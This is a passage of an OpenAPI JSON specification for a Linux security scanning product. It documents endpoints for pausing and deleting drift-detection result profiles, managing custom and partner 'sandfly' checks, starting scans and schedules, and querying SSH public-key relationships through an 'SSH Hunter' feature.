Profiles"],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfilesIDList"}}},"description":"List of result profile IDs to unpause.","required":true},"responses":{"200":{"content":{},"description":"Result profiles unpaused."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/pause/{id}":{"put":{"summary":"Pause result profile","operationId":"pauseProfile","description":"Pause a result profile, preventing it from creating drift alerts or whitelisting incoming results.","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to pause.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{},"description":"Result profile paused"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofiles/unpause/{id}":{"put":{"summary":"Unpause result profile","operationId":"unpauseProfile","description":"Unause a result profile.","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile ID to unpause.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{},"description":"Result profile unpaused"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profile not found"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultprofilesDelete":{"post":{"summary":"Delete result profiles","operationId":"deleteProfiles","description":"Bulk delete result profiles with a list of result profile IDs.","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ProfilesIDList"}}},"description":"Result profile IDs to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result profiles successfully deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid result profiles delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["Drift Detection","Result Profiles"]}},"/resultprofileresult/{id}":{"get":{"summary":"Get result profile result","description":"Get result JSON for a result profile result ID.","operationId":"getProfileResultJson","tags":["Drift Detection","Result Profiles"],"parameters":[{"description":"Result profile result ID to get.","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["result"],"properties":{"result":{"type":"object","additionalProperties":true,"description":"Result JSON"}}}}},"description":"Result found."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result ID is not an integer."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Result not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/resultsummary/host/{host_id}":{"get":{"description":"Gets results grouped by sandfly for a particular host.","operationId":"getHostResultSummary","parameters":[{"description":"host to retrieve results for. Accepts a host_id or host_sequence_id.","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultsSummaryHost"}}},"description":"Result information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get host result summary","tags":["Results"]}},"/resultsummary/sandfly/{sandfly_name}":{"get":{"description":"Gets results grouped by host for a particular sandfly.","operationId":"getSandflyResultSummary","parameters":[{"description":"sandfly to retrieve results for.","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ResultsSummarySandfly"}}},"description":"Result information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with get request."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Host not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get sandfly result summary","tags":["Results"]}},"/sandflies":{"get":{"description":"Gets all of the registered sandflies.","operationId":"getSandflies","parameters":[{"description":"Returns flattened summary view of all sandflies.","in":"query","name":"summary","required":false,"schema":{"type":"boolean"}},{"description":"Excludes template sandflies from the result list.","in":"query","name":"noTemplates","required":false,"schema":{"type":"boolean"}},{"description":"Only includes sandflies with at least one result in the database.","in":"query","name":"resultsOnly","required":false,"schema":{"type":"boolean"}},{"description":"Only includes sandflies that can be included in schedules.","in":"query","name":"schedulable","required":false,"schema":{"type":"boolean"}}],"responses":{"200":{"content":{"application/json":{"schema":{"properties":{"data":{"items":{"oneOf":[{"$ref":"#/components/schemas/Sandfly"},{"$ref":"#/components/schemas/SandflySummary"}]},"type":"array"}},"type":"object"}}},"description":"Sandfly information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting sandflies."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No sandflies found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all registered sandflies","tags":["Sandflies"]},"post":{"description":"Adds a custom sandfly.","operationId":"addSandfly","parameters":[{"description":"Will allow existing sandflies with the same name to be overwritten.","in":"query","name":"upload","required":false,"schema":{"type":"boolean"}},{"description":"Will create the new sandfly as a partner sandfly.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"description":"Sandflies to add.","type":"object","additionalProperties":{"$ref":"#/components/schemas/SandflyCustom"}}}},"description":"Custom Sandfly json object to insert","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add custom sandfly","tags":["Sandflies"]},"put":{"description":"Updates a custom sandfly.","operationId":"updateSandfly","parameters":[{"description":"Will update the sandfly as a partner sandfly.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"description":"Sandflies to update.","type":"object","additionalProperties":{"$ref":"#/components/schemas/SandflyCustom"}}}},"description":"Custom Sandfly json object to update.","required":true},"responses":{"201":{"content":{},"description":"Updated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update custom sandfly","tags":["Sandflies"]}},"/sandflies/activate":{"put":{"description":"Activates all sandflies passed into the body as bulk operation.","operationId":"activateSandflies","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SandflyList"}}},"description":"List of sandflies to activate.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandflies activated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with activate request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate sandflies in bulk","tags":["Sandflies"]}},"/sandflies/backup":{"get":{"description":"This displays all registered custom sandflies as a big JSON object for backup purposes.","operationId":"backupSandflies","parameters":[{"description":"Will display all registered partner sandflies as a big JSON object for backup purposes.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SandflyBackup"}}},"description":"Custom Sandfly information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting custom sandflies."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"No custom sandflies found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Backup all custom sandflies","tags":["Sandflies"]}},"/sandflies/deactivate":{"put":{"description":"Deactivates all sandflies passed into the body as bulk operation.","operationId":"deactivateSandflies","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SandflyList"}}},"description":"List of sandflies to deactivate.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandflies deactivated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with deactivate request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Deactivate sandflies in bulk","tags":["Sandflies"]}},"/sandflies/name":{"delete":{"description":"Deletes a custom sandfly entry by name.","operationId":"deleteSandflies","parameters":[{"description":"Deletes a partner sandfly entry by name.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SandflyList"}}},"description":"List of sandflies to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Custom sandflies entry deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting custom sandfly entries."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete custom sandflies","tags":["Sandflies"]}},"/sandflies/name/{sandfly_name}":{"delete":{"description":"Deletes a custom sandfly entry.","operationId":"deleteSandfly","parameters":[{"description":"sandfly name to delete","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}},{"description":"Deletes the named partner sandfly entry.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Custom sandfly entry deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting custom sandfly entry."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete custom sandfly","tags":["Sandflies"]},"get":{"description":"Gets a sandfly with the supplied name.","operationId":"getSandfly","parameters":[{"description":"Sandfly name to retrieve","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"oneOf":[{"$ref":"#/components/schemas/Sandfly"}]}}},"description":"Sandfly information retrieved"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error getting sandfly."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly name not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get sandfly","tags":["Sandflies"]}},"/sandflies/name/{sandfly_name}/activate":{"put":{"description":"Activates a sandfly by name.","operationId":"activateSandfly","parameters":[{"description":"sandfly name to activate.","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Activated sandfly."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error activating sandfly."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly name not found to activate."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate sandfly","tags":["Sandflies"]}},"/sandflies/name/{sandfly_name}/deactivate":{"put":{"description":"Deactivates a sandfly by name.","operationId":"deactivateSandfly","parameters":[{"description":"sandfly name to deactivate.","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Deactivated sandfly."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deactivating sandfly."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Sandfly name not found to deactivate."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Deactivate sandfly","tags":["Sandflies"]}},"/sandflies/reload_all":{"post":{"description":"Reloads all of the sandflies in server's sandfly directory to their default settings.","operationId":"reloadSandflies","parameters":[{"description":"Will delete all partner sandflies.","in":"query","name":"partner","required":false,"schema":{"type":"boolean"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Sandfly"}}},"description":"Reloading sandlflies and adding them to DB as active for scanning."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error inserting sandflies."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Reload all sandflies to default","tags":["Sandflies"]}},"/sandflies/response/{sandfly_name}":{"put":{"description":"Updates the system sandfly response options.","operationId":"updateResponse","parameters":[{"description":"sandfly name to update.","in":"path","name":"sandfly_name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SandflyResponse"}}},"description":"Response options in sandfly to update.","required":true},"responses":{"201":{"content":{},"description":"Updated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update system sandfly response options","tags":["Sandflies"]}},"/savedviews/{namespace}/{name}":{"delete":{"description":"Deletes a single custom grid view, for a specific data grid, for the current user.","summary":"Delete custom view","operationId":"deleteView","parameters":[{"description":"namespace of grid","in":"path","name":"namespace","required":true,"schema":{"format":"string","type":"string"}},{"description":"name of view","in":"path","name":"name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/StandardResponse"}],"type":"object"}}},"description":"OK"}},"tags":["SavedViews"]}},"/scan":{"post":{"description":"Scan remote hosts with host_id list and sandfly list.","operationId":"startScan","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScanManual"}}},"description":"Hosts to scan and sandfly list to use in scan.","required":true},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Scan accepted for processing."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"An error happened with supplied host_ids or sandfly list."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"A licensing violation occurred."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Scan remote hosts","tags":["Scan"]}},"/scan/adhoc":{"post":{"description":"Scan remote hosts on an ad hoc basis with supplied key and sandflies.","operationId":"startAdhocScan","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScanAdhoc"}}},"description":"Ad hoc scan JSON.","required":true},"responses":{"202":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Remote scan accepted for processing."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"A required parameter was not found or other error happened."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"A licensing violation occurred."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Scan remote hosts - ad hoc","tags":["Scan"]}},"/schedule":{"delete":{"description":"Deletes all schedule_ids passed into the body as a bulk operation. Schedules that don't exist will be ignored without error; schedules that are of type result_profile_gather will not be deleted, but any current trickle run will be canceled.","operationId":"deleteSchedules","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScheduleIds"}}},"description":"List of schedule_ids to delete.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Schedule(s) deleted"},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with delete request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete schedules in bulk","tags":["Schedule"]},"get":{"description":"Gets everything that is scheduled.","operationId":"getSchedules","responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"description":"List of schedules","type":"array","items":{"$ref":"#/components/schemas/ScheduleSummary"}}},"required":["data"],"type":"object"}}},"description":"Schedule retrieved"},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Schedule not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get all schedules","tags":["Schedule"]},"post":{"description":"Adds a scheduled scan.","operationId":"addSchedule","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScheduleAdd"}}},"description":"Schedule json object to insert.","required":true},"responses":{"201":{"content":{},"description":"Added"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Add a scan schedule","tags":["Schedule"]}},"/schedule/run/{schedule_name}":{"post":{"description":"Manually runs a schedule.","operationId":"runSchedule","parameters":[{"description":"schedule name to run","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}},{"name":"mode","in":"query","description":"Execution mode: 'immediate' (default) or 'trickle'. Only applicable to scan schedules; discover schedules are always run in immediate mode.","required":false,"schema":{"type":"string","enum":["immediate","trickle"],"default":"immediate"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Schedule run started."},"404":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Requested schedule name not found."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Run scheduled scan now","tags":["Schedule"]}},"/schedule/pause/":{"put":{"description":"Deactivates (pauses) schedules by ID.","operationId":"pauseSchedules","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScheduleIds"}}},"description":"List of schedule_ids to deactivate.","required":true},"responses":{"200":{"content":{},"description":"Schedules deactivated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Deactivate schedules","tags":["Schedule"]}},"/schedule/unpause/":{"put":{"description":"Activates (unpauses) schedules by ID.","operationId":"unpauseSchedules","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScheduleIds"}}},"description":"List of schedule_ids to activate.","required":true},"responses":{"200":{"content":{},"description":"Schedules activated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate schedules","tags":["Schedule"]}},"/schedule/pause/{schedule_name}":{"put":{"description":"Deactivates (pauses) a schedule.","operationId":"pauseSchedule","parameters":[{"description":"schedule name to deactivate","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{},"description":"Schedule deactivated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Deactivate schedule","tags":["Schedule"]}},"/schedule/unpause/{schedule_name}":{"put":{"description":"Activates (unpauses) a schedule.","operationId":"resumeSchedule","parameters":[{"description":"schedule name to activate","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{},"description":"Schedule activated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Activate schedule","tags":["Schedule"]}},"/schedule/{schedule_name}":{"delete":{"description":"Deletes a schedule by schedule_name. Only schedules of type scan and discover can be deleted, result_profile_gather schedules can only be removed by editing or deleting the related result profile.","operationId":"deleteSchedule","parameters":[{"description":"schedule_name to delete","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Schedule deleted."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting schedule."},"403":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Cannot delete a schedule of type result_profile_gather."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Delete schedule","tags":["Schedule"]},"get":{"description":"Gets a schedule by schedule_name","operationId":"getSchedule","parameters":[{"description":"schedule name to retrieve","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/Schedule"}}},"description":"Schedule retrieved."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error deleting schedule."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get schedule","tags":["Schedule"]},"put":{"description":"Updates a scheduled scan.","operationId":"updateSchedule","parameters":[{"description":"schedule name to update","in":"path","name":"schedule_name","required":true,"schema":{"format":"string","type":"string"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/ScheduleUpdate"}}},"description":"Schedule json object to update.","required":true},"responses":{"200":{"content":{},"description":"Updated"},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Update scheduled scan","tags":["Schedule"]}},"/schedule/{schedule_name}/abort":{"put":{"summary":"Abort schedule run","description":"Abort an active schedule run, preventing additional hosts from being added to the scan queue during this run.Note that this only prevents new hosts from being added to the scan queue, it does not affect scans that have already begun.","operationId":"abortSchedule","tags":["Schedule"],"parameters":[{"description":"schedule name to abort","in":"path","name":"schedule_name","required":true,"schema":{"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Schedule run aborted. Note that this API call always returns 200, regardless of if the schedule exists or is currently running."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/sshhunter/graph/{type}/{id}":{"get":{"description":"Get graph of relationships between SSH public keys, hosts, and users from SSH Hunter.","operationId":"getSshGraph","parameters":[{"description":"Type of entity of the root graph node","in":"path","name":"type","required":true,"schema":{"$ref":"#/components/schemas/SshMode"}},{"description":"The ID of the entity of the root graph node","in":"path","name":"id","required":true,"schema":{"type":"string"}},{"description":"The type of graph structure to return","in":"query","name":"structure","schema":{"default":"nested","enum":["nested","flat"],"type":"string"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["data"],"properties":{"data":{"type":"object","required":["graph_nodes"],"properties":{"graph_nodes":{"type":"object","additionalProperties":{"$ref":"#/components/schemas/SshGraphNode"}}}}}}}},"description":"SSH node graph retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSH Hunter graph nodes","tags":["SSH Hunter"]}},"/sshhunter/hosts":{"get":{"deprecated":true,"description":"Get list of hosts with SSH public keys from SSH Hunter. Deprecated in favor of `GET /v4/hosts?summary=true&...` which now includes all of the same data.","operationId":"getSshHosts","parameters":[{"description":"If present, restricts the host list data to the specific key ID.","in":"query","name":"key","required":false,"schema":{"type":"integer"}},{"description":"number of hosts per page","in":"query","name":"size","required":false,"schema":{"type":"integer"}},{"description":"page number of hosts to retrieve","in":"query","name":"page","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"allOf":[{"$ref":"#/components/schemas/ScrollingResponse"}],"properties":{"data":{"properties":{"hosts":{"description":"List of hosts","items":{"$ref":"#/components/schemas/SshHostSummary"},"type":"array"}},"required":["hosts"],"type":"object"}},"required":["data"],"type":"object"}}},"description":"SSH host list retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get hosts with SSH public keys","tags":["SSH Hunter"]}},"/sshhunter/hosts/{host_id}":{"get":{"deprecated":true,"description":"Get details of a host with SSH public keys from SSH Hunter. Deprecated in favor of `GET /v4/hostsrollup/{host_id}`, which includes all of the same data.","operationId":"getSshHost","parameters":[{"description":"ID of host to retrieve","in":"path","name":"host_id","required":true,"schema":{"oneOf":[{"title":"host_id","format":"string","type":"string"},{"title":"host_sequence_id","format":"string","type":"integer"}]}},{"description":"If present, restricts the host list data to the specific key ID.","in":"query","name":"key","required":false,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"type":"object","required":["data"],"properties":{"data":{"$ref":"#/components/schemas/SshHostWithZones"}}}}},"description":"SSH host details retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSH public key details for a host","tags":["SSH Hunter"]}},"/sshhunter/key":{"post":{"description":"Add SSH public keys.","summary":"Add SSH keys","tags":["SSH Hunter"],"operationId":"addSshKeys","requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SshKeysAdd"}}},"description":"Host data to use to scan for and input new hosts.","required":true},"responses":{"201":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"SSH keys added or updated."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Invalid request."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}}}},"/sshhunter/key/{id}":{"get":{"description":"Get details of an SSH public key from SSH Hunter.","operationId":"getSshKey","parameters":[{"description":"ID of key to retrieve","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SshKey"}}},"description":"SSH key details retrieved."},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"summary":"Get SSH public key details","tags":["SSH Hunter"]}},"/sshhunter/key/tags":{"put":{"description":"Bulk update tags on SSH public keys.","summary":"Bulk tag SSH keys","operationId":"bulkTagSshKeys","parameters":[{"description":"operation - add or remove the requested tags","in":"query","name":"operation","required":true,"schema":{"$ref":"#/components/schemas/BulkTagOperation"}}],"requestBody":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/SSHBulkTag"}}},"description":"Parameters to list the key IDs and tags.","required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Bulk tag operation completed successfully."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with request"},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["SSH Hunter"]}},"/sshhunter/key/{id}/tags":{"put":{"description":"Set tags on an SSH public key.","summary":"Tag SSH key","operationId":"tagSshKey","parameters":[{"description":"ID of key to modify","in":"path","name":"id","required":true,"schema":{"type":"integer"}}],"requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["key_tags"],"properties":{"key_tags":{"description":"List of tags to set on the key, or an empty list to clear tags. All existing tags will be replaced.","$ref":"#/components/schemas/SshKeyTags"}}}}},"required":true},"responses":{"200":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Tag operation completed successfully."},"400":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Error with request"},"402":{"description":"Product license does not allow SSH Hunter features."},"default":{"content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}},"description":"Unexpected error"}},"tags":["SSH Hunter"]}},"/sshhunter/hosttags":{"post":{"operationId":"getSshKeysHostTags","description":"For the set of requested keys, get the hosts tags for the hosts the keys were found on. The result object will contain an entry for each key in the input key list that exists in the database. Keys that don't exist will be ignored.","summary":"Get SSH keys host tags","tags":["SSH Hunter"],"requestBody":{"content":{"application/json":{"schema":{"type":"object","required":["key_ids"],"properties":{"key_ids":{"type":"array","description":"List of key IDs to retrieve.","items":{"type":"integer","description":"SSH ID."}}}}}}},"responses":{"200":{"description":"SSH key host tags retrieved.","content":{"application/json":{"schema":{"type":"object","additionalProperties":{"$ref":"#/components/schemas/SshKeyHostTagSummary"}}}}},"400":{"description":"Invalid input JSON","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}},"default":{"description":"Unexpected error","content":{"application/json":{"schema":{"$ref":"#/components/schemas/StandardResponse"}}}}}}},"/sshhunter/keyhosttags":{"post":{"operationId":"getSshHostsAndTagsForKeys","description":"For the requested list of SSH key IDs, returns a list of all hosts with those keys and the host tags on each 